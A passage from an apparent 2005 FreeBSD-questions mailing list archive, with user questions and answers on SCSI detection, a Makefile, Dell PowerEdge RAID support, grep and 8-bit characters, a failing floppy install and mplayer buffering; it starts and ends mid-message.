scbus0 target 11 lun 0 > (pass10,da10) > at scbus0 target 12 lun 0 > (pass11,da11) > at scbus0 target 13 lun 0 > (pass12,da12) > at scbus0 target 14 lun 0 > (pass13,da13) > at scbus0 target 15 lun 0 > (pass14,da14) > < > at scbus0 target -1 lun -1 () I have made some progress. Pulling the SCSI cable and reseating the controller eliminated the error messages. However, the above devlist still occurs. The controller is an Adaptec 2940UW. The adaptec configuration software shows one disk on ID 0 and the controller on ID 7. The above listing doesn't find the disk on target 0. My other systems with the same setup do. I won't be back on site till Friday so I am looking for ideas on what to check or try. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 01:11:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C26E816A4CE for ; Tue, 8 Feb 2005 01:11:52 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id 51AA043D2F for ; Tue, 8 Feb 2005 01:11:52 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so843722rne for ; Mon, 07 Feb 2005 17:11:51 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=FEYAc4DpTz2iBpk5nN0xPASk2y8mkkjQM5jUpEEajF1xpdUxEC6FgcKEx+K08QtgBTA9cCN9bhqUWBtUIiJ6dbbfTzubetLzfSjM/cwaIgzE4b/o2mr+rW+apGY20xuxZ2T8os9AYuOvxO5MWudNzgEYgeK760YesyDMqyQ4PQ4= Received: by 10.38.102.11 with SMTP id z11mr46868rnb; Mon, 07 Feb 2005 17:11:51 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 17:11:51 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 02:11:51 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: Subject: Re: make file X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 01:11:52 -0000 On Mon, 7 Feb 2005 03:02:13 +0100, Gert Cuykens wrote: > make file > ------------------------------------------------------------------------------------- > CC=cc -Wall -g > XCFLAGS=`pkg-config --cflags gtk+-2.0` > XLDFLAGS=`pkg-config --libs gtk+-2.0` > OBJ=ossxmix.o gtkvu.o gtkjoy.o > > ossxmix.o: ossxmix.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o ossxmix.o ossxmix.c > > gtkvu.o: gtkvu.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkvu.o gtkvu.c > > gtkjoy.o: gtkjoy.c > $(CC) $(CFLAGS) $(XCFLAGS) -c -o gtkjoy.o gtkjoy.c > > ossxmix: $(OBJ) > $(CC) $(XLDFLAGS) -o ossxmix $(OBJ) > > install: ossxmix > all: ossxmix > clean: rm -f x y z ossxmix *.o core ossxmix core.* > ------------------------------------------------------------------------------------------ PS when i do make it doesnt create a excecutible ? It only creates a excutible when i do make install What does "all:" do then ? And what happens when you do make ? From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 01:12:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0045216A4CE for ; Tue, 8 Feb 2005 01:12:35 +0000 (GMT) Received: from smtp.cm.utexas.edu (smtp.cm.utexas.edu [146.6.135.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id A013C43D2F for ; Tue, 8 Feb 2005 01:12:34 +0000 (GMT) (envelope-from virenp@cm.utexas.edu) Received: from mail.cm.utexas.edu (smtp.cm.utexas.edu [146.6.135.3]) by smtp.cm.utexas.edu (Postfix) with ESMTP id ECDF66D41D; Mon, 7 Feb 2005 19:12:31 -0600 (CST) Received: from 66.25.129.27 (SquirrelMail authenticated user virenp) by mail.cm.utexas.edu with HTTP; Mon, 7 Feb 2005 19:12:31 -0600 (CST) Message-ID: <1065.66.25.129.27.1107825151.squirrel@mail.cm.utexas.edu> In-Reply-To: <20050208000054.GE14202@asu.edu> References: <20050208000054.GE14202@asu.edu> Date: Mon, 7 Feb 2005 19:12:31 -0600 (CST) From: "Viren Patel" To: David.Bear@asu.edu User-Agent: SquirrelMail/1.4.4 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal cc: freebsd-questions@freebsd.org Subject: Re: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: virenp@cm.utexas.edu List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 01:12:35 -0000 > I was looking at the support hardware list for Fbsd 5.x > and could find > no mention of the PERC3-DI scsi controller.. so I was > wondering if > anyone has used a dell poweredge 2650, and what your > experience was > running Freebsd 4.X and 5.x on it. > > -- > David Bear > phone: 480-965-8257 > fax: 480-965-9189 > College of Public Programs/ASU > Wilson Hall 232 > Tempe, AZ 85287-0803 > "Beware the IP portfolio, everyone will be suspect of > trespassing" We've been running FreeBSD 5.3 on PE2650 with no issues. -- Viren Patel Chemistry & Biochemistry University of Texas at Austin From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 01:34:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EDB4216A4CE for ; Tue, 8 Feb 2005 01:34:28 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id DFB5743D2D for ; Tue, 8 Feb 2005 01:34:24 +0000 (GMT) (envelope-from linicks@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so10068rns for ; Mon, 07 Feb 2005 17:34:23 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=n55Ano2RbZqZICWsY7AleXODjxNdB9vRIcJNoK+I6dhplAWHQvPHcTqfeKQzgoL6RpyfBYlnKxdYYGfW56gtFheTffEI7coYatj7lBJadFFU3kQ+zOxrXYH6KPCTOI5yGIlfHy7PVzlicdD4EEGesMibovCn7SjdN+kZnA9twxg= Received: by 10.38.8.7 with SMTP id 7mr8696rnh; Mon, 07 Feb 2005 17:34:23 -0800 (PST) Received: by 10.38.8.20 with HTTP; Mon, 7 Feb 2005 17:34:23 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 18:34:23 -0700 From: Nick Pavlica To: "Mark A. Garcia" In-Reply-To: <42080472.9080005@hamletinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208000054.GE14202@asu.edu> <42080472.9080005@hamletinc.com> cc: David.Bear@asu.edu cc: freebsd-questions@freebsd.org Subject: Re: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nick Pavlica List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 01:34:29 -0000 I have a PE 2400 running 4.11R with a PERC2-SI. I also had 5.3 running on it with no problem. I didn't have to reconfigure the kernel for either install. --Nick On Mon, 07 Feb 2005 16:14:42 -0800, Mark A. Garcia wrote: > David Bear wrote: > > >I was looking at the support hardware list for Fbsd 5.x and could find > >no mention of the PERC3-DI scsi controller.. so I was wondering if > >anyone has used a dell poweredge 2650, and what your experience was > >running Freebsd 4.X and 5.x on it. > > > > > > > I've been running FBSD 4.7 since Apr 2003 on a PE2650 with the PERC3-DI > controller. > > I haven't had any problem setting it up. > > Just make sure you leave the device aac option in your kernel config. > > Cheers, > -.mag > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 01:56:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C073F16A4CE for ; Tue, 8 Feb 2005 01:56:21 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8028943D48 for ; Tue, 8 Feb 2005 01:56:21 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 365EF1C00085 for ; Tue, 8 Feb 2005 02:56:20 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 1DB361C00082 for ; Tue, 8 Feb 2005 02:56:20 +0100 (CET) X-ME-UUID: 20050208015620121.1DB361C00082@mwinf1102.wanadoo.fr Date: Tue, 8 Feb 2005 02:56:19 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1667502496.20050208025619@wanadoo.fr> To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 01:56:21 -0000 Does anyone know why grep -R "\0x93" /www/htdocs turns up only binary files, even when I know there are text files in the directory that contain this character? Is there something special about the way I specify the search string that causes grep to behave differently? When I specify an 8-bit character like this alone for a search, it finds only binary files, even though this is a text character--as if it is looking at the search string and deciding that I want to search only binary files. The man page doesn't seem to say anything about this. Is it my imagination? -- Anthony From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:06:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 04D3116A4CE for ; Tue, 8 Feb 2005 02:06:24 +0000 (GMT) Received: from out002.verizon.net (out002pub.verizon.net [206.46.170.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id 71A9643D45 for ; Tue, 8 Feb 2005 02:06:23 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out002.verizon.net ESMTP <20050208020622.TSRM26937.out002.verizon.net@ringworm.mechee.com>; Mon, 7 Feb 2005 20:06:22 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 3508A2CE747; Mon, 7 Feb 2005 18:02:20 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 18:02:18 -0800 User-Agent: KMail/1.7.2 References: <1667502496.20050208025619@wanadoo.fr> In-Reply-To: <1667502496.20050208025619@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502071802.19719.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [4.26.84.7] at Mon, 7 Feb 2005 20:06:22 -0600 cc: Anthony Atkielski Subject: Re: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:06:24 -0000 On Monday 07 February 2005 05:56 pm, Anthony Atkielski wrote: > Does anyone know why > > grep -R "\0x93" /www/htdocs > > turns up only binary files, even when I know there are text files in > the directory that contain this character? Is there something > special about the way I specify the search string that causes grep to > behave differently? When I specify an 8-bit character like this > alone for a search, it finds only binary files, even though this is a > text character--as if it is looking at the search string and deciding > that I want to search only binary files. > > The man page doesn't seem to say anything about this. Is it my > imagination? I made a text file named test.log containing: aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD grep -R "\0x93" /www/htdocs aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD aj[[CFPWJJVCVMLKFD the result of: grep -R "\0x93" test.log is: grep -R "\0x93" /www/htdocs Maybe you should test again???? -Mike From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:06:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C2FD316A4CE for ; Tue, 8 Feb 2005 02:06:49 +0000 (GMT) Received: from smtp103.rog.mail.re2.yahoo.com (smtp103.rog.mail.re2.yahoo.com [206.190.36.81]) by mx1.FreeBSD.org (Postfix) with SMTP id 0B7E943D4C for ; Tue, 8 Feb 2005 02:06:49 +0000 (GMT) (envelope-from me@danielquinn.org) Received: from unknown (HELO moulinrouge.danielquinn.org) (dquinnc383@69.195.22.206 with plain) by smtp103.rog.mail.re2.yahoo.com with SMTP; 8 Feb 2005 02:06:48 -0000 From: daniel To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 21:07:34 -0500 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart3728875.xWRtoOjOXK"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502072107.38331.me@danielquinn.org> Subject: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:06:49 -0000 --nextPart3728875.xWRtoOjOXK Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline i've been trying to install freebsd-5.3RELEASE on this old computer on and = off=20 for days now. i downloaded the floppies, watched the thing boot and each a= nd=20 every time, it'll get to the little beastie prompt where it counts down and= =20 is *supposed* to run sysinst but instead, it just reboots! i even went out and bought a new set of floppies and it still doesn't work,= so=20 i'm posting here. suggestions? comments? here's my specs: amd-k6 133mhz 16mb ram 4gb hd =2D-=20 money never made a man happy yet, nor will it. there is nothing in its nature to produce happiness. the more a man has, the more he wants. instead of filling a vacuum, it makes one. - ben franklin --nextPart3728875.xWRtoOjOXK Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQBCCB7qE2ItINqYvOARAlvJAJ4qdg0yQZHqmNngo+DzfibVTXSFOACfUmXl Diu1Zcls7PKs2Jvh6fBYRzA= =qYi2 -----END PGP SIGNATURE----- --nextPart3728875.xWRtoOjOXK-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:07:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A370216A4CE for ; Tue, 8 Feb 2005 02:07:35 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3372B43D39 for ; Tue, 8 Feb 2005 02:07:35 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so848388rne for ; Mon, 07 Feb 2005 18:07:34 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=dD+A8Kt1wenp8hQwgiGSfcG3KRlop1qdh4SGVnBxE1PT16fZSu74UB6IByYKbWuw81no/WK4KASfjTLgAISLg7JLNZ4AKV5ySXjeGRYjQb0L9ZL3oOkne3wF6Jx2KYgbqtFsHS1EZDBzxkTmJ6FzQYZKWGQZpLBXLwSA0Iwr47A= Received: by 10.38.73.27 with SMTP id v27mr28690rna; Mon, 07 Feb 2005 18:07:34 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 18:07:34 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 03:07:34 +0100 From: Gert Cuykens To: "Loren M. Lang" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> <200502070159.40247.danny@ricin.com> <20050207114205.GB8619@alzatex.com> cc: Rob cc: Danny Pansters cc: freebsd-questions@freebsd.org Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:07:35 -0000 > PS when i play a mp3 with xmms i can do as much as i want, it will > never interfear with the playing music. With mplayer i can have for > example a cash size of 10 secondes but after 10 seconds i can manege > to do a buffer underrun. > > How i can tell mplayer to do the same buffering as xmms ? > solution: gmplayer -autosync 10 :) From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:12:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE99A16A4CE for ; Tue, 8 Feb 2005 02:12:37 +0000 (GMT) Received: from mailgate.bytemobile.com (mailgate.bytemobile.com [209.10.233.248]) by mx1.FreeBSD.org (Postfix) with ESMTP id CCCBA43D39 for ; Tue, 8 Feb 2005 02:12:37 +0000 (GMT) (envelope-from keramida@linux.gr) From: "Giorgos Keramidas" To: Date: Mon, 7 Feb 2005 18:12:37 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 In-Reply-To: <1667502496.20050208025619@wanadoo.fr> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-OriginalArrivalTime: 08 Feb 2005 02:12:37.0152 (UTC) FILETIME=[A8AA0A00:01C50D83] Subject: RE: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:12:38 -0000 Anthony Atkielski wrote: > Does anyone know why > > grep -R "\0x93" /www/htdocs > > turns up only binary files, even when I know there are text > files in the directory that contain this character? Is > there something special about the way I specify the search > string that causes grep to behave differently? When I > specify an 8-bit character like this alone for a > search, it finds only binary files, even though this is a text > character--as if it is looking at the search string and > deciding that I want to search only binary files. It may not be related to what you are seeing, but grep(1) is locale-aware. What it considers a "text" character depends on the current locale settings. In my account, which has a Greek locale setup, it will consider all Greek 8-bit characters as text. This e-mail and any attachments may contain confidential and privileged information. If you are not the intended recipient, please notify the sender immediately by return e-mail, do not forward this email to any other person, delete this e-mail and destroy all copies. Any dissemination or use of this information by a person other than the intended recipient is unauthorized and may be illegal. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:14:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 25C3B16A4CE for ; Tue, 8 Feb 2005 02:14:49 +0000 (GMT) Received: from out001.verizon.net (out001pub.verizon.net [206.46.170.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7F39443D39 for ; Tue, 8 Feb 2005 02:14:48 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out001.verizon.net ESMTP <20050208021447.TOXK29541.out001.verizon.net@ringworm.mechee.com>; Mon, 7 Feb 2005 20:14:47 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id F36262CE747; Mon, 7 Feb 2005 18:10:45 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 18:10:43 -0800 User-Agent: KMail/1.7.2 References: <200502072107.38331.me@danielquinn.org> In-Reply-To: <200502072107.38331.me@danielquinn.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502071810.44572.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [4.26.84.7] at Mon, 7 Feb 2005 20:14:47 -0600 cc: daniel Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:14:49 -0000 On Monday 07 February 2005 06:07 pm, daniel wrote: > i've been trying to install freebsd-5.3RELEASE on this old computer > on and off for days now. i downloaded the floppies, watched the > thing boot and each and every time, it'll get to the little beastie > prompt where it counts down and is *supposed* to run sysinst but > instead, it just reboots! > > i even went out and bought a new set of floppies and it still doesn't > work, so i'm posting here. suggestions? comments? here's my specs: > > amd-k6 133mhz > 16mb ram > 4gb hd You could try to use freebsd-4.11. I had the same problem with tying to boot an amd-k6 450mhz from a FreeBSD-5.3 cdrom, yet it worked fine from a 4.10 cdrom. -Mike From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:44:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 29A2E16A4CE for ; Tue, 8 Feb 2005 02:44:49 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id C8CBB43D3F for ; Tue, 8 Feb 2005 02:44:48 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 0D7111C00090 for ; Tue, 8 Feb 2005 03:44:48 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id E7AF71C0008E for ; Tue, 8 Feb 2005 03:44:47 +0100 (CET) X-ME-UUID: 20050208024447949.E7AF71C0008E@mwinf1107.wanadoo.fr Date: Tue, 8 Feb 2005 03:44:47 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <757352437.20050208034447@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1667502496.20050208025619@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:44:49 -0000 Giorgos Keramidas writes: GK> It may not be related to what you are seeing, but grep(1) GK> is locale-aware. What it considers a "text" character GK> depends on the current locale settings. I tried setting LC_ALL to en_US.UTF-8, en_US.ISO8859-15, and en_US.ISO8859-1, with no effect. The character in question is an opening double quotation mark in the Windows character set. I want to find it in my Web pages and replace it by an appropriate HTML escape sequence. I know it's out there, but grep isn't finding it, or I'm not telling it how to find the character correctly. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 02:49:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 17DBF16A4CE for ; Tue, 8 Feb 2005 02:49:16 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB5B143D31 for ; Tue, 8 Feb 2005 02:49:15 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 0D3791C00097 for ; Tue, 8 Feb 2005 03:49:15 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id E656B1C00095 for ; Tue, 8 Feb 2005 03:49:14 +0100 (CET) X-ME-UUID: 20050208024914943.E656B1C00095@mwinf1106.wanadoo.fr Date: Tue, 8 Feb 2005 03:49:14 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1913197329.20050208034914@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502071802.19719.reso3w83@verizon.net> References: <1667502496.20050208025619@wanadoo.fr> <200502071802.19719.reso3w83@verizon.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 02:49:16 -0000 Michael C. Shultz writes: > I made a text file named test.log containing: > > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > grep -R "\0x93" /www/htdocs > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > aj[[CFPWJJVCVMLKFD > > the result of: > > grep -R "\0x93" test.log > > is: > > grep -R "\0x93" /www/htdocs > > > Maybe you should test again???? I'm looking for the hex character 93, which is an opening double quotation mark in the Windows character set, not the literal string "\0x93". Unless I'm mistaken, \0x93 in a regular expression means "the character whose hex value is 93." -- Anthony From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 03:40:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4FCAB16A4CE for ; Tue, 8 Feb 2005 03:40:05 +0000 (GMT) Received: from mail.monochrome.org (b4.ebbed1.client.atlantech.net [209.190.235.180]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6B50343D1F for ; Tue, 8 Feb 2005 03:40:04 +0000 (GMT) (envelope-from chris@monochrome.org) Received: from frambozen (frambozen [192.168.1.9]) by mail.monochrome.org (8.9.3/8.9.3) with ESMTP id WAA57094; Mon, 7 Feb 2005 22:39:53 -0500 (EST) (envelope-from chris@monochrome.org) Date: Mon, 7 Feb 2005 22:40:22 -0500 (EST) From: Chris Hill To: daniel In-Reply-To: <200502072107.38331.me@danielquinn.org> Message-ID: <20050207222811.U24265@frambozen.monochrome.org> References: <200502072107.38331.me@danielquinn.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed cc: freebsd-questions@freebsd.org Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 03:40:05 -0000 On Mon, 7 Feb 2005, daniel wrote: > i've been trying to install freebsd-5.3RELEASE on this old computer on > and off for days now. i downloaded the floppies, watched the thing > boot and each and every time, it'll get to the little beastie prompt > where it counts down and is *supposed* to run sysinst but instead, it > just reboots! That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. The 16M you cite below seems a bit meager. > i even went out and bought a new set of floppies I've found that *many* - maybe even most - floppies are bad out of the box. I buy the 25- or 50-pack, and churn through until I find two good ones. Sometimes it takes a while. > and it still doesn't work, so i'm posting here. suggestions? > comments? here's my specs: > > amd-k6 133mhz > 16mb ram > 4gb hd Other than the RAM, this should be fine as long as you don't plan on storing much data. I'd use this machine as a home gateway/firewall/NAT box. I haven't installed a recent FreeBSD on any hardware quite so - um, experienced, but I *have* installed 5.3R successfully on a 